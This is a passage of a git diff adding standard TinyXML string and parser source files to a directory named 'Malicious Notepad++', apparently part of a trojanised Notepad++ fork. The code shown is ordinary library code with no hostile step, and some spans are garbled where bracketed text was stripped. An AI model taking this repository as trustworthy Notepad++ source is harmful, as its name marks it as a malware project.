TIXMLA_ERROR_READING_ATTRIBUTES, p, data ); + return 0; + } + + ++p; // skip '=' + p = SkipWhiteSpace( p ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXMLA_ERROR_READING_ATTRIBUTES, p, data ); + return 0; + } + + const char* end; + + if ( *p == '\'' ) + { + ++p; + end = "\'"; + p = ReadText( p, &value, false, end, false ); + } + else if ( *p == '"' ) + { + ++p; + end = "\""; + p = ReadText( p, &value, false, end, false ); + } + else + { + // All attribute values should be in single or double quotes. + // But this is such a common error that the parser will try + // its best, even without them. + value = ""; + while ( p && *p // existence + && !isspace( *p ) && *p != '\n' && *p != '\r' // whitespace + && *p != '/' && *p != '>' ) // tag end + { + value += *p; + ++p; + } + } + return p; +} + +#ifdef TIXMLA_USE_STL +void TiXmlTextA::StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->peek(); + if ( c == '<' ) + return; + + (*tag) += static_cast(c); + in->get(); + } +} +#endif + +const char* TiXmlTextA::Parse( const char* p, TiXmlParsingDataA* data ) +{ + value = ""; +// TiXmlParsingDataA data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + bool ignoreWhite = true; + + const char* end = "<"; + p = ReadText( p, &value, ignoreWhite, end, false ); + if ( p ) + return p-1; // don't truncate the '<' + return 0; +} + +#ifdef TIXMLA_USE_STL +void TiXmlDeclarationA::StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->get(); + (*tag) += static_cast(c); + + if ( c == '>' ) + { + // All is well. + return; + } + } +} +#endif + +const char* TiXmlDeclarationA::Parse( const char* p, TiXmlParsingDataA* data ) +{ + p = SkipWhiteSpace( p ); + // Find the beginning, find the end, and look for + // the stuff in-between. + TiXmlDocumentA* document = GetDocument(); + if ( !p || !*p || !StringEqual( p, "SetError( TIXMLA_ERROR_PARSING_DECLARATION, 0, 0 ); + return 0; + } +// TiXmlParsingDataA data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + p += 5; + + version = ""; + encoding = ""; + standalone = ""; + + while ( p && *p ) + { + if ( *p == '>' ) + { + ++p; + return p; + } + + p = SkipWhiteSpace( p ); + if ( StringEqual( p, "version", true ) ) + { + TiXmlAttributeA attrib; + p = attrib.Parse( p, data ); + version = attrib.Value(); + } + else if ( StringEqual( p, "encoding", true ) ) + { + TiXmlAttributeA attrib; + p = attrib.Parse( p, data ); + encoding = attrib.Value(); + } + else if ( StringEqual( p, "standalone", true ) ) + { + TiXmlAttributeA attrib; + p = attrib.Parse( p, data ); + standalone = attrib.Value(); + } + else + { + // Read over whatever it is. + while( p && *p && *p != '>' && !isspace( *p ) ) + ++p; + } + } + return 0; +} + +bool TiXmlTextA::Blank() const +{ + for ( size_t i = 0, len = value.length(); i < len; i++ ) + if ( !isspace( value[i] ) ) + return false; + return true; +} + diff --git a/Malicious Notepad++/src/TinyXml/tinystr.cpp b/Malicious Notepad++/src/TinyXml/tinystr.cpp new file mode 100644 index 0000000..45343fd --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinystr.cpp @@ -0,0 +1,292 @@ +/* +www.sourceforge.net/projects/tinyxml +Original file by Yves Berquin. + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#ifndef TIXML_USE_STL + + +#include "tinystr.h" + +// TiXmlString constructor, based on a C generic_string +TiXmlString::TiXmlString (const TCHAR* instring) +{ + unsigned newlen; + TCHAR * newstring; + + if (!instring) + { + allocated = 0; + cstring = NULL; + current_length = 0; + return; + } + newlen = lstrlen (instring) + 1; + newstring = new TCHAR [newlen]; + memcpy (newstring, instring, newlen); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// TiXmlString copy constructor +TiXmlString::TiXmlString (const TiXmlString& copy) +{ + unsigned newlen; + TCHAR * newstring; + + // Prevent copy to self! + if ( © == this ) + return; + + if (! copy . allocated) + { + allocated = 0; + cstring = NULL; + current_length = 0; + return; + } + newlen = copy . length () + 1; + newstring = new TCHAR [newlen]; + memcpy (newstring, copy . cstring, newlen); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// TiXmlString = operator. Safe when assign own content +void TiXmlString ::operator = (const TCHAR * content) +{ + unsigned newlen; + TCHAR * newstring; + + if (! content) + { + empty_it (); + return; + } + newlen = lstrlen (content) + 1; + newstring = new TCHAR [newlen]; + memcpy (newstring, content, newlen); + empty_it (); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// = operator. Safe when assign own content +void TiXmlString ::operator = (const TiXmlString & copy) +{ + unsigned newlen; + TCHAR * newstring; + + if (! copy . length ()) + { + empty_it (); + return; + } + newlen = copy . length () + 1; + newstring = new TCHAR [newlen]; + memcpy (newstring, copy . c_str (), newlen); + empty_it (); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + + +//// Checks if a TiXmlString contains only whitespace (same rules as isspace) +//bool TiXmlString::isblank () const +//{ +// TCHAR * lookup; +// for (lookup = cstring; * lookup; lookup++) +// if (! isspace (* lookup)) +// return false; +// return true; +//} + +// append a const TCHAR * to an existing TiXmlString +void TiXmlString::append( const TCHAR* str, int len ) +{ + TCHAR * new_string; + unsigned new_alloc, new_size, size_suffix; + + size_suffix = lstrlen (str); + if (len < (int) size_suffix) + size_suffix = len; + if (! size_suffix) + return; + + new_size = length () + size_suffix + 1; + // check if we need to expand + if (new_size > allocated) + { + // compute new size + new_alloc = assign_new_size (new_size); + + // allocate new buffer + new_string = new TCHAR [new_alloc]; + new_string [0] = 0; + + // copy the previous allocated buffer into this one + if (allocated && cstring) + memcpy (new_string, cstring, length ()); + + // append the suffix. It does exist, otherwize we wouldn't be expanding + // strncat (new_string, str, len); + memcpy (new_string + length (), + str, + size_suffix); + + // return previsously allocated buffer if any + if (allocated && cstring) + delete [] cstring; + + // update member variables + cstring = new_string; + allocated = new_alloc; + } + else + { + // we know we can safely append the new generic_string + // strncat (cstring, str, len); + memcpy (cstring + length (), + str, + size_suffix); + } + current_length = new_size - 1; + cstring [current_length] = 0; +} + + +// append a const TCHAR * to an existing TiXmlString +void TiXmlString::append( const TCHAR * suffix ) +{ + TCHAR * new_string; + unsigned new_alloc, new_size; + + new_size = length () + lstrlen (suffix) + 1; + // check if we need to expand + if (new_size > allocated) + { + // compute new size + new_alloc = assign_new_size (new_size); + + // allocate new buffer + new_string = new TCHAR [new_alloc]; + new_string [0] = 0; + + // copy the previous allocated buffer into this one + if (allocated && cstring) + memcpy (new_string, cstring, 1 + length ()); + + // append the suffix. It does exist, otherwize we wouldn't be expanding + // lstrcat (new_string, suffix); + memcpy (new_string + length (), + suffix, + lstrlen (suffix) + 1); + + // return previsously allocated buffer if any + if (allocated && cstring) + delete [] cstring; + + // update member variables + cstring = new_string; + allocated = new_alloc; + } + else + { + // we know we can safely append the new generic_string + // lstrcat (cstring, suffix); + memcpy (cstring + length (), + suffix, + lstrlen (suffix) + 1); + } + current_length = new_size - 1; +} + +// Check for TiXmlString equuivalence +//bool TiXmlString::operator == (const TiXmlString & compare) const +//{ +// return (! lstrcmp (c_str (), compare . c_str ())); +//} + +//unsigned TiXmlString::length () const +//{ +// if (allocated) +// // return lstrlen (cstring); +// return current_length; +// return 0; +//} + + +unsigned TiXmlString::find (TCHAR tofind, unsigned offset) const +{ + TCHAR * lookup; + + if (offset >= length ()) + return (unsigned) notfound; + for (lookup = cstring + offset; * lookup; lookup++) + if (* lookup == tofind) + return lookup - cstring; + return (unsigned) notfound; +} + + +bool TiXmlString::operator == (const TiXmlString & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( lstrcmp( cstring, compare.cstring ) == 0 ); + } + return false; +} + + +bool TiXmlString::operator < (const TiXmlString & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( lstrcmp( cstring, compare.cstring ) > 0 ); + } + return false; +} + + +bool TiXmlString::operator > (const TiXmlString & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( lstrcmp( cstring, compare.cstring ) < 0 ); + } + return false; +} + + +#endif // TIXML_USE_STL diff --git a/Malicious Notepad++/src/TinyXml/tinystr.h b/Malicious Notepad++/src/TinyXml/tinystr.h new file mode 100644 index 0000000..045faa6 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinystr.h @@ -0,0 +1,236 @@ +/* +www.sourceforge.net/projects/tinyxml +Original file by Yves Berquin. + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#ifndef TINYXML_INCLUDED +#include "tinyxml.h" +#endif //TINYXML_INCLUDED +#include + +#ifndef TIXML_USE_STL + +#ifndef TIXML_STRING_INCLUDED +#define TIXML_STRING_INCLUDED + +#pragma warning( disable : 4514 ) + +/* + TiXmlString is an emulation of the string template. + Its purpose is to allow compiling TinyXML on compilers with no or poor STL support. + Only the member functions relevant to the TinyXML project have been implemented. + The buffer allocation is made by a simplistic power of 2 like mechanism : if we increase + a generic_string and there's no more room, we allocate a buffer twice as big as we need. +*/ +class TiXmlString +{ + public : + // TiXmlString constructor, based on a generic_string + TiXmlString (const TCHAR * instring); + + // TiXmlString empty constructor + TiXmlString () + { + allocated = 0; + cstring = NULL; + current_length = 0; + } + + // TiXmlString copy constructor + TiXmlString (const TiXmlString& copy); + + // TiXmlString destructor + ~ TiXmlString () + { + empty_it (); + } + + // Convert a TiXmlString into a classical TCHAR * + const TCHAR * c_str () const + { + if (allocated) + return cstring; + return TEXT(""); + } + + // Return the length of a TiXmlString + unsigned length () const + { + return ( allocated ) ? current_length : 0; + } + + // TiXmlString = operator + void operator = (const TCHAR * content); + + // = operator + void operator = (const TiXmlString & copy); + + // += operator. Maps to append + TiXmlString& operator += (const TCHAR * suffix) + { + append (suffix); + return *this; + } + + // += operator. Maps to append + TiXmlString& operator += (TCHAR single) + { + append (single); + return *this; + } + + // += operator. Maps to append + TiXmlString& operator += (TiXmlString & suffix) + { + append (suffix); + return *this; + } + bool operator == (const TiXmlString & compare) const; + bool operator < (const TiXmlString & compare) const; + bool operator > (const TiXmlString & compare) const; + + // Checks if a TiXmlString is empty + bool empty () const + { + return length () ? false : true; + } + + // Checks if a TiXmlString contains only whitespace (same rules as isspace) + // Not actually used in tinyxml. Conflicts with a C macro, TEXT("isblank"), + // which is a problem. Commenting out. -lee +// bool isblank () const; + + // single TCHAR extraction + const TCHAR& at (unsigned index) const + { + assert( index < length ()); + return cstring [index]; + } + + // find a TCHAR in a generic_string. Return TiXmlString::notfound if not found + unsigned find (TCHAR lookup) const + { + return find (lookup, 0); + } + + // find a TCHAR in a generic_string from an offset. Return TiXmlString::notfound if not found + unsigned find (TCHAR tofind, unsigned offset) const; + + /* Function to reserve a big amount of data when we know we'll need it. Be aware that this + function clears the content of the TiXmlString if any exists. + */ + void reserve (unsigned size) + { + empty_it (); + if (size) + { + allocated = size; + cstring = new TCHAR [size]; + cstring [0] = 0; + current_length = 0; + } + } + + // [] operator + TCHAR& operator [] (unsigned index) const + { + assert( index < length ()); + return cstring [index]; + } + + // Error value for find primitive + enum { notfound = 0xffffffff, + npos = notfound }; + + void append (const TCHAR *str, int len ); + + protected : + + // The base generic_string + TCHAR * cstring; + // Number of chars allocated + unsigned allocated; + // Current generic_string size + unsigned current_length; + + // New size computation. It is simplistic right now : it returns twice the amount + // we need + unsigned assign_new_size (unsigned minimum_to_allocate) + { + return minimum_to_allocate * 2; + } + + // Internal function that clears the content of a TiXmlString + void empty_it () + { + if (cstring) + delete [] cstring; + cstring = NULL; + allocated = 0; + current_length = 0; + } + + void append (const TCHAR *suffix ); + + // append function for another TiXmlString + void append (const TiXmlString & suffix) + { + append (suffix . c_str ()); + } + + // append for a single TCHAR. This could be improved a lot if needed + void append (TCHAR single) + { + TCHAR smallstr [2]; + smallstr [0] = single; + smallstr [1] = 0; + append (smallstr); + } + +} ; + +/* + TiXmlOutStream is an emulation of std::ostream. It is based on TiXmlString. + Only the operators that we need for TinyXML have been developped. +*/ +class TiXmlOutStream : public TiXmlString +{ +public : + TiXmlOutStream () : TiXmlString () {} + + // TiXmlOutStream << operator. Maps to TiXmlString::append + TiXmlOutStream & operator << (const TCHAR * in) + { + append (in); + return (* this); + } + + // TiXmlOutStream << operator. Maps to TiXmlString::append + TiXmlOutStream & operator << (const TiXmlString & in) + { + append (in . c_str ()); + return (* this); + } +} ; + +#endif // TIXML_STRING_INCLUDED +#endif // TIXML_USE_STL diff --git a/Malicious Notepad++/src/TinyXml/tinyxml.cpp b/Malicious Notepad++/src/TinyXml/tinyxml.cpp new file mode 100644 index 0000000..25ef432 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyxml.cpp @@ -0,0 +1,1256 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#include +#include "tinyxml.h" + +bool TiXmlBase::condenseWhiteSpace = true; + +void TiXmlBase::PutString( const TIXML_STRING& str, TIXML_OSTREAM* stream ) +{ + TIXML_STRING buffer; + PutString( str, &buffer ); + (*stream) << buffer; +} + +void TiXmlBase::PutString( const TIXML_STRING& str, TIXML_STRING* outString ) +{ + size_t i = 0; + + while (i < str.length()) + { + int c = str[i]; + + if (c == '&' + && i < ( str.length() - 2 ) + && str[i+1] == '#' + && str[i+2] == 'x' ) + { + // Hexadecimal character reference. + // Pass through unchanged. + // © -- copyright symbol, for example. + while ( i < str.length() ) + { + outString->append( str.c_str() + i, 1 ); + ++i; + if ( str[i] == ';' ) + break; + } + } + else if ( c == '&' ) + { + outString->append( entity[0].str, entity[0].strLength ); + ++i; + } + else if ( c == '<' ) + { + outString->append( entity[1].str, entity[1].strLength ); + ++i; + } + else if ( c == '>' ) + { + outString->append( entity[2].str, entity[2].strLength ); + ++i; + } + else if ( c == '\"' ) + { + outString->append( entity[3].str, entity[3].strLength ); + ++i; + } + else if ( c == '\'' ) + { + outString->append( entity[4].str, entity[4].strLength ); + ++i; + } + else if ( c < 32 || c > 126 ) + { + // Easy pass at non-alpha/numeric/symbol + // 127 is the delete key. Below 32 is symbolic. + TCHAR buf[32]; + wsprintf( buf, TEXT("&#x%04X;"), static_cast(c & 0xffff) ); + outString->append( buf, lstrlen( buf ) ); + ++i; + } + else + { + TCHAR realc = static_cast(c); + outString->append( &realc, 1 ); + ++i; + } + } +} + + +// <-- Strange class for a bug fix. Search for STL_STRING_BUG +TiXmlBase::StringToBuffer::StringToBuffer( const TIXML_STRING& str ) +{ + buffer = new TCHAR[ str.length()+1 ]; + if ( buffer ) + { + lstrcpy( buffer, str.c_str() ); + } +} + + +TiXmlBase::StringToBuffer::~StringToBuffer() +{ + delete [] buffer; +} +// End strange bug fix. --> + + +TiXmlNode::TiXmlNode( NodeType _type ) +{ + parent = 0; + type = _type; + firstChild = 0; + lastChild = 0; + prev = 0; + next = 0; + userData = 0; +} + + +TiXmlNode::~TiXmlNode() +{ + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } +} + + +void TiXmlNode::Clear() +{ + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } + + firstChild = 0; + lastChild = 0; +} + + +TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node ) +{ + node->parent = this; + + node->prev = lastChild; + node->next = 0; + + if ( lastChild ) + lastChild->next = node; + else + firstChild = node; // it was an empty list. + + lastChild = node; + return node; +} + + +TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis ) +{ + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + + return LinkEndChild( node ); +} + + +TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ) +{ + if ( !beforeThis || beforeThis->parent != this ) + return 0; + + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->next = beforeThis; + node->prev = beforeThis->prev; + if ( beforeThis->prev ) + { + beforeThis->prev->next = node; + } + else + { + assert( firstChild == beforeThis ); + firstChild = node; + } + beforeThis->prev = node; + return node; +} + + +TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ) +{ + if ( !afterThis || afterThis->parent != this ) + return 0; + + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->prev = afterThis; + node->next = afterThis->next; + if ( afterThis->next ) + { + afterThis->next->prev = node; + } + else + { + assert( lastChild == afterThis ); + lastChild = node; + } + afterThis->next = node; + return node; +} + + +TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ) +{ + if ( replaceThis->parent != this ) + return 0; + + TiXmlNode* node = withThis.Clone(); + if ( !node ) + return 0; + + node->next = replaceThis->next; + node->prev = replaceThis->prev; + + if ( replaceThis->next ) + replaceThis->next->prev = node; + else + lastChild = node; + + if ( replaceThis->prev ) + replaceThis->prev->next = node; + else + firstChild = node; + + delete replaceThis; + node->parent = this; + return node; +} + + +bool TiXmlNode::RemoveChild( TiXmlNode* removeThis ) +{ + if ( removeThis->parent != this ) + { + assert( 0 ); + return false; + } + + if ( removeThis->next ) + removeThis->next->prev = removeThis->prev; + else + lastChild = removeThis->prev; + + if ( removeThis->prev ) + removeThis->prev->next = removeThis->next; + else + firstChild = removeThis->next; + + delete removeThis; + return true; +} + +TiXmlNode* TiXmlNode::FirstChild( const TCHAR * _value ) const +{ + TiXmlNode* node; + for ( node = firstChild; node; node = node->next ) + { + if ( node->SValue() == TIXML_STRING( _value )) + return node; + } + return 0; +} + +TiXmlNode* TiXmlNode::LastChild( const TCHAR * _value ) const +{ + TiXmlNode* node; + for ( node = lastChild; node; node = node->prev ) + { + if ( node->SValue() == TIXML_STRING (_value)) + return node; + } + return 0; +} + +TiXmlNode* TiXmlNode::IterateChildren( TiXmlNode* previous ) const +{ + if ( !previous ) + { + return FirstChild(); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling(); + } +} + +TiXmlNode* TiXmlNode::IterateChildren( const TCHAR * val, TiXmlNode* previous ) const +{ + if ( !previous ) + { + return FirstChild( val ); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling( val ); + } +} + +TiXmlNode* TiXmlNode::NextSibling( const TCHAR * _value ) const +{ + TiXmlNode* node; + for ( node = next; node; node = node->next ) + { + if ( node->SValue() == TIXML_STRING (_value)) + return node; + } + return 0; +} + + +TiXmlNode* TiXmlNode::PreviousSibling( const TCHAR * _value ) const +{ + TiXmlNode* node; + for ( node = prev; node; node = node->prev ) + { + if ( node->SValue() == TIXML_STRING (_value)) + return node; + } + return 0; +} + +void TiXmlElement::RemoveAttribute( const TCHAR * name ) +{ + TiXmlAttribute* node = attributeSet.Find( name ); + if ( node ) + { + attributeSet.Remove( node ); + delete node; + } +} + +TiXmlElement* TiXmlNode::FirstChildElement() const +{ + TiXmlNode* node; + + for ( node = FirstChild(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + +TiXmlElement* TiXmlNode::FirstChildElement( const TCHAR * _value ) const +{ + TiXmlNode* node; + + for ( node = FirstChild( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +TiXmlElement* TiXmlNode::NextSiblingElement() const +{ + TiXmlNode* node; + + for ( node = NextSibling(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + +TiXmlElement* TiXmlNode::NextSiblingElement( const TCHAR * _value ) const +{ + TiXmlNode* node; + + for ( node = NextSibling( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + + +TiXmlDocument* TiXmlNode::GetDocument() const +{ + const TiXmlNode* node; + + for( node = this; node; node = node->parent ) + { + if ( node->ToDocument() ) + return node->ToDocument(); + } + return 0; +} + + +TiXmlElement::TiXmlElement (const TCHAR * _value) +: TiXmlNode( TiXmlNode::ELEMENT ) +{ + firstChild = lastChild = 0; + value = _value; +} + +TiXmlElement::~TiXmlElement() +{ + while( attributeSet.First() ) + { + TiXmlAttribute* node = attributeSet.First(); + attributeSet.Remove( node ); + delete node; + } +} + +const TCHAR * TiXmlElement::Attribute( const TCHAR * name ) const +{ + TiXmlAttribute* node = attributeSet.Find( name ); + + if ( node ) + return node->Value(); + + return 0; +} + + +const TCHAR * TiXmlElement::Attribute( const TCHAR * name, int* i ) const +{ + const TCHAR * s = Attribute( name ); + if ( i ) + { + if ( s ) + *i = generic_atoi( s ); + else + *i = 0; + } + return s; +} + + +const TCHAR * TiXmlElement::Attribute( const TCHAR * name, double* d ) const +{ + const TCHAR * s = Attribute( name ); + if ( d ) + { + if ( s ) + *d = generic_atof( s ); + else + *d = 0; + } + return s; +} + + +int TiXmlElement::QueryIntAttribute( const TCHAR* name, int* ival ) const +{ + TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + + return node->QueryIntValue( ival ); +} + + +int TiXmlElement::QueryDoubleAttribute( const TCHAR* name, double* dval ) const +{ + TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + + return node->QueryDoubleValue( dval ); +} + + +void TiXmlElement::SetAttribute( const TCHAR * name, int val ) +{ + TCHAR buf[64]; + wsprintf( buf, TEXT("%d"), val ); + SetAttribute( name, buf ); +} + + +void TiXmlElement::SetAttribute( const TCHAR * name, const TCHAR * _value ) +{ + TiXmlAttribute* node = attributeSet.Find( name ); + if ( node ) + { + node->SetValue( _value ); + return; + } + + TiXmlAttribute* attrib = new TiXmlAttribute( name, _value ); + if ( attrib ) + { + attributeSet.Add( attrib ); + } + else + { + TiXmlDocument* document = GetDocument(); + if ( document ) document->SetError( TIXML_ERROR_OUT_OF_MEMORY, 0, 0 ); + } +} + +void TiXmlElement::Print( FILE* cfile, int depth ) const +{ + int i; + for ( i=0; iNext() ) + { + generic_fprintf( cfile, TEXT(" ") ); + attrib->Print( cfile, depth ); + } + + // There are 3 different formatting approaches: + // 1) An element without children is printed as a node + // 2) An element with only a text child is printed as text + // 3) An element with children is printed on multiple lines. + TiXmlNode* node; + if ( !firstChild ) + { + generic_fprintf( cfile, TEXT(" />") ); + } + else if ( firstChild == lastChild && firstChild->ToText() ) + { + generic_fprintf( cfile, TEXT(">") ); + firstChild->Print( cfile, depth + 1 ); + generic_fprintf( cfile, TEXT(""), value.c_str() ); + } + else + { + generic_fprintf( cfile, TEXT(">") ); + + for ( node = firstChild; node; node=node->NextSibling() ) + { + if ( !node->ToText() ) + { + generic_fprintf( cfile, TEXT("\n") ); + } + node->Print( cfile, depth+1 ); + } + generic_fprintf( cfile, TEXT("\n") ); + for( i=0; i"), value.c_str() ); + } +} + +void TiXmlElement::StreamOut( TIXML_OSTREAM * stream ) const +{ + (*stream) << TEXT("<") << value; + + TiXmlAttribute* attrib; + for ( attrib = attributeSet.First(); attrib; attrib = attrib->Next() ) + { + (*stream) << TEXT(" "); + attrib->StreamOut( stream ); + } + + // If this node has children, give it a closing tag. Else + // make it an empty tag. + TiXmlNode* node; + if ( firstChild ) + { + (*stream) << TEXT(">"); + + for ( node = firstChild; node; node=node->NextSibling() ) + { + node->StreamOut( stream ); + } + (*stream) << TEXT(""); + } + else + { + (*stream) << TEXT(" />"); + } +} + +TiXmlNode* TiXmlElement::Clone() const +{ + TiXmlElement* clone = new TiXmlElement( Value() ); + if ( !clone ) + return 0; + + CopyToClone( clone ); + + // Clone the attributes, then clone the children. + TiXmlAttribute* attribute = 0; + for( attribute = attributeSet.First(); + attribute; + attribute = attribute->Next() ) + { + clone->SetAttribute( attribute->Name(), attribute->Value() ); + } + + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + clone->LinkEndChild( node->Clone() ); + } + return clone; +} + + +TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::DOCUMENT ) +{ + tabsize = 4; + ClearError(); +} + +TiXmlDocument::TiXmlDocument( const TCHAR * documentName ) : TiXmlNode( TiXmlNode::DOCUMENT ) +{ + tabsize = 4; + value = documentName; + ClearError(); +} + +bool TiXmlDocument::LoadFile() +{ + // See STL_STRING_BUG below. + StringToBuffer buf( value ); + + if ( buf.buffer && LoadFile( buf.buffer ) ) + return true; + + return false; +} + + +bool TiXmlDocument::SaveFile() const +{ + // See STL_STRING_BUG below. + StringToBuffer buf( value ); + + if ( buf.buffer && SaveFile( buf.buffer ) ) + return true; + + return false; +} + +bool TiXmlDocument::LoadFile( const TCHAR* filename ) +{ + // Delete the existing data: + Clear(); + location.Clear(); + + // There was a really terrifying little bug here. The code: + // value = filename + // in the STL case, cause the assignment method of the string to + // be called. What is strange, is that the string had the same + // address as it's c_str() method, and so bad things happen. Looks + // like a bug in the Microsoft STL implementation. + // See STL_STRING_BUG above. + // Fixed with the StringToBuffer class. + value = filename; + + FILE* file = generic_fopen( value.c_str (), TEXT("r") ); + + if ( file ) + { + // Get the file size, so we can pre-allocate the generic_string. HUGE speed impact. + long length = 0; + fseek( file, 0, SEEK_END ); + length = ftell( file ); + fseek( file, 0, SEEK_SET ); + + // Strange case, but good to handle up front. + if ( length == 0 ) + { + fclose( file ); + return false; + } + + // If we have a file, assume it is all one big XML file, and read it in. + // The document parser may decide the document ends sooner than the entire file, however. + TIXML_STRING data; + data.reserve( length ); + + const int BUF_SIZE = 2048; + TCHAR buf[BUF_SIZE]; + + while( generic_fgets( buf, BUF_SIZE, file ) ) + { + data += buf; + } + fclose( file ); + + Parse( data.c_str(), 0 ); + + if ( Error() ) + return false; + else + return true; + } + SetError( TIXML_ERROR_OPENING_FILE, 0, 0 ); + return false; +} + +bool TiXmlDocument::SaveFile( const TCHAR * filename ) const +{ + // The old c stuff lives on... + FILE* fp = generic_fopen( filename, TEXT("w") ); + if ( fp ) + { + Print( fp, 0 ); + fclose( fp ); + return true; + } + return false; +} + + +TiXmlNode* TiXmlDocument::Clone() const +{ + TiXmlDocument* clone = new TiXmlDocument(); + if ( !clone ) + return 0; + + CopyToClone( clone ); + clone->error = error; + clone->errorDesc = errorDesc.c_str (); + + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + clone->LinkEndChild( node->Clone() ); + } + return clone; +} + + +void TiXmlDocument::Print( FILE* cfile, int depth ) const +{ + TiXmlNode* node; + for ( node=FirstChild(); node; node=node->NextSibling() ) + { + node->Print( cfile, depth ); + generic_fprintf( cfile, TEXT("\n") ); + } +} + +void TiXmlDocument::StreamOut( TIXML_OSTREAM * out ) const +{ + TiXmlNode* node; + for ( node=FirstChild(); node; node=node->NextSibling() ) + { + node->StreamOut( out ); + + // Special rule for streams: stop after the root element. + // The stream in code will only read one element, so don't + // write more than one. + if ( node->ToElement() ) + break; + } +} + + +TiXmlAttribute* TiXmlAttribute::Next() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( next->value.empty() && next->name.empty() ) + return 0; + return next; +} + + +TiXmlAttribute* TiXmlAttribute::Previous() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( prev->value.empty() && prev->name.empty() ) + return 0; + return prev; +} + + +void TiXmlAttribute::Print( FILE* cfile, int /*depth*/ ) const +{ + TIXML_STRING n, v; + + PutString( Name(), &n ); + PutString( Value(), &v ); + + if (value.find ('\"') == TIXML_STRING::npos) + generic_fprintf (cfile, TEXT("%s=\"%s\""), n.c_str(), v.c_str() ); + else + generic_fprintf (cfile, TEXT("%s='%s'"), n.c_str(), v.c_str() ); +} + + +void TiXmlAttribute::StreamOut( TIXML_OSTREAM * stream ) const +{ + if (value.find( '\"' ) != TIXML_STRING::npos) + { + PutString( name, stream ); + (*stream) << TEXT("=") << TEXT("'"); + PutString( value, stream ); + (*stream) << TEXT("'"); + } + else + { + PutString( name, stream ); + (*stream) << TEXT("=") << TEXT("\""); + PutString( value, stream ); + (*stream) << TEXT("\""); + } +} + +int TiXmlAttribute::QueryIntValue( int* ival ) const +{ + if ( generic_sscanf( value.c_str(), TEXT("%d"), ival ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; +} + +int TiXmlAttribute::QueryDoubleValue( double* dval ) const +{ + if 